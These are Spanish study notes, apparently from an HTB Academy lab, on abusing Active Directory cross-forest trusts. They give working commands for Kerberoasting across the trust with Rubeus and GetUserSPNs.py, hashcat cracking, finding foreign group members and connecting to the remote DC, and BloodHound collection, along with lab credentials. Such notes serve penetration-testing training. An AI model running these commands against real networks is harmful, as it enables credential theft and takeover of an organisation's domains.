b0ysie7e

Appearance

9. Attacking Domain Trusts — Cross-Forest Trust Abuse (desde Windows) ​

Concepto general ​

Cuando existe un trust bidireccional entre dos bosques, los ataques de Kerberos como Kerberoasting y ASREPRoasting pueden ejecutarse cruzando el trust. Si no puedes escalar privilegios en tu dominio actual pero el dominio del otro bosque tiene cuentas con SPNs o contraseñas reutilizadas, ese se convierte en tu camino.

Ataque 1 — Cross-Forest Kerberoasting ​

Buscar cuentas con SPN en el dominio del otro bosque ​

c
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName

Esto enumera cuentas con SPNs en el dominio remoto a través del trust. Si encuentras una cuenta con SPN que además sea Domain Admin en ese dominio, es un objetivo prioritario.

Verificar a qué grupos pertenece esa cuenta ​

c
Get-DomainUser -Domain FREIGHTLOGISTICS.LOCAL -Identity mssqlsvc | select samaccountname,memberof

Confirma si la cuenta kerberoasteable tiene privilegios elevados en el dominio remoto antes de invertir tiempo en crackear el hash.

Ejecutar el Kerberoasting cross-forest con Rubeus ​

c
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap

El flag /domain: apunta Rubeus al dominio del otro bosque a través del trust. El flag /nowrap entrega el hash en una sola línea lista para pegar en Hashcat. Sin ese flag el hash queda partido en columnas y no sirve directamente.

Crackear el hash con Hashcat ​

c
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

El modo 13100 es para TGS-REP (Kerberoasting). Si crackea, tienes credenciales de texto claro de una cuenta Domain Admin en el bosque remoto.

Ataque 2 — Reutilización de contraseñas y membresía en grupos foráneos (Group Membership) ​

¿Qué buscar? ​

Dos escenarios comunes en trusts bidireccionales entre bosques administrados por la misma empresa:

El primer escenario es que un administrador del Dominio A tenga la misma contraseña o hash que un administrador del Dominio B con nombre similar. Si comprometes el Dominio A y obtienes el hash del Administrator o de una cuenta privilegiada, vale la pena probar ese hash en el Dominio B directamente.

El segundo escenario es que una cuenta del Dominio A sea miembro de un grupo en el Dominio B. Solo los Domain Local Groups permiten miembros de fuera del bosque, así que hay que buscar cuentas foráneas en grupos como el grupo Administrators del dominio remoto.

Buscar miembros foráneos en grupos del dominio remoto ​

c
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL

Devuelve los grupos del dominio remoto que tienen miembros de fuera del bosque. El campo MemberName puede mostrar un SID en lugar de un nombre si el objeto no se puede resolver directamente.

Convertir el SID a nombre legible ​

c
Convert-SidToName S-1-5-21-3842939050-3880317879-2865463114-500

Si el resultado muestra que el Administrator de INLANEFREIGHT.LOCAL es miembro del grupo Administrators de FREIGHTLOGISTICS.LOCAL, puedes autenticarte directamente al DC del bosque remoto con esa cuenta.

Conectarse al DC del bosque remoto con esas credenciales ​

c
Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator

Si funciona, tienes acceso administrativo completo al bosque remoto sin necesidad de crackear nada, solo aprovechando la membresía en el grupo y el trust bidireccional.

Ataque 3 — SID History Abuse Cross-Forest ​

Si SID Filtering no está habilitado en el trust entre bosques y un usuario fue migrado de un bosque a otro, es posible agregar un SID de una cuenta privilegiada del Bosque A al atributo sidHistory de una cuenta del Bosque B. Cuando esa cuenta del Bosque B se autentica a través del trust hacia el Bosque A, su token incluye el SID de la cuenta privilegiada y obtiene sus privilegios en el Bosque A.

La diferencia con el ataque child→parent es que allí el SID Filtering no aplica dentro del mismo bosque. En cross-forest, el SID Filtering normalmente sí está activo y bloquea esto. Si encuentras un forest trust sin SID Filtering configurado, ese es el escenario donde este ataque funciona.

Este ataque se cubre en profundidad en módulos más avanzados de HTB.

Flujo resumido ​

c
1. Get-DomainUser -SPN -Domain <dominio remoto>       → buscar SPNs en el otro bosque
2. Verificar si la cuenta es privilegiada              → Get-DomainUser -Identity
3. Rubeus kerberoast /domain:<dominio remoto> /nowrap  → obtener TGS cross-forest
4. hashcat -m 13100                                    → crackear el hash offline

Alternativa sin crackear:
1. Get-DomainForeignGroupMember -Domain <dominio remoto> → buscar miembros foráneos
2. Convert-SidToName <SID>                               → identificar la cuenta
3. Enter-PSSession -Credential <cuenta del dominio A>    → acceso directo al DC remoto

Attacking Domain Trusts — Cross-Forest Trust Abuse (desde Linux) ​

Ataque 1 — Cross-Forest Kerberoasting con GetUserSPNs.py ​

Enumerar SPNs en el dominio remoto ​

c
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

El flag -target-domain apunta la búsqueda al bosque remoto usando credenciales de tu dominio actual. Muestra las cuentas con SPN y su membresía en grupos, lo que te permite evaluar si vale la pena kerberoastear antes de pedir el ticket.

Obtener el TGS para crackear offline ​

c
GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley

El flag -request solicita el TGS además de enumerar. Puedes añadir -outputfile tgs.txt para guardar el hash directamente a un archivo en lugar de copiarlo de la terminal.

Crackear el hash offline ​

c
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt

Si crackea, tienes credenciales en texto claro de una cuenta que puede ser Domain Admin en el bosque remoto. Vale la pena también probar esa contraseña en el dominio actual por reutilización, y hacer un password spray contra otras cuentas de servicio si los mismos admins gestionan ambos dominios.

Ataque 2 — Hunting Foreign Group Membership con bloodhound-python ​

Para encontrar usuarios de un dominio que son miembros de grupos en otro dominio (como el Administrator de INLANEFREIGHT.LOCAL siendo miembro del grupo Administrators de FREIGHTLOGISTICS.LOCAL), se puede usar bloodhound-python para recolectar datos de ambos dominios y visualizarlo en BloodHound.

Configurar DNS para el primer dominio ​

bloodhound-python necesita resolver nombres por DNS, no funciona solo con IPs. Hay que editar /etc/resolv.conf apuntando al DC del dominio que vas a enumerar:

c
# Comentar los nameservers actuales y agregar:
domain INLANEFREIGHT.LOCAL
nameserver 172.16.5.5

Recolectar datos del primer dominio ​

c
bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2

El flag -c All recolecta todos los tipos de datos disponibles: usuarios, grupos, computadoras, ACLs, GPOs y trusts. Genera varios archivos JSON en el directorio actual.

Comprimir los JSON para subir a BloodHound ​

c
zip -r ilfreight_bh.zip *.json

Cambiar DNS al segundo dominio y repetir ​

c
# Editar /etc/resolv.conf:
domain FREIGHTLOGISTICS.LOCAL
nameserver 172.16.5.238
c
bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u forend@inlanefreight.local -p Klmcargo2

Nota que aquí el usuario se especifica como forend@inlanefreight.local con el dominio completo porque te estás autenticando al dominio remoto con credenciales del dominio local.

Visualizar en BloodHound ​

Subir ambos zips al GUI de BloodHound, ir a la pestaña Analysis y usar la query Users with Foreign Domain Group Membership, seleccionar INLANEFREIGHT.LOCAL como dominio origen. Muestra qué usuarios de ese dominio son miembros de grupos en otros dominios del bosque.

Flujo resumido ​

c
# Kerberoasting cross-forest
GetUserSPNs.py -target-domain <dominio remoto> <dominio local>/<usuario>
GetUserSPNs.py -request -target-domain <dominio remoto> <dominio local>/<usuario> -outputfile tgs.txt
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt

# Foreign group membership con BloodHound
# 1. Editar /etc/resolv.conf → nameserver del dominio A
bloodhound-python -d <dominio A> -dc <DC A> -c All -u <user> -p <pass>
zip -r dominioA.zip *.json
# 2. Editar /etc/resolv.conf → nameserver del dominio B
bloodhound-python -d <dominio B> -dc <DC B> -c All -u <user@dominioA> -p <pass>
zip -r dominioB.zip *.json
# 3. Subir ambos zips a BloodHound → Analysis → Users with Foreign Domain Group Membership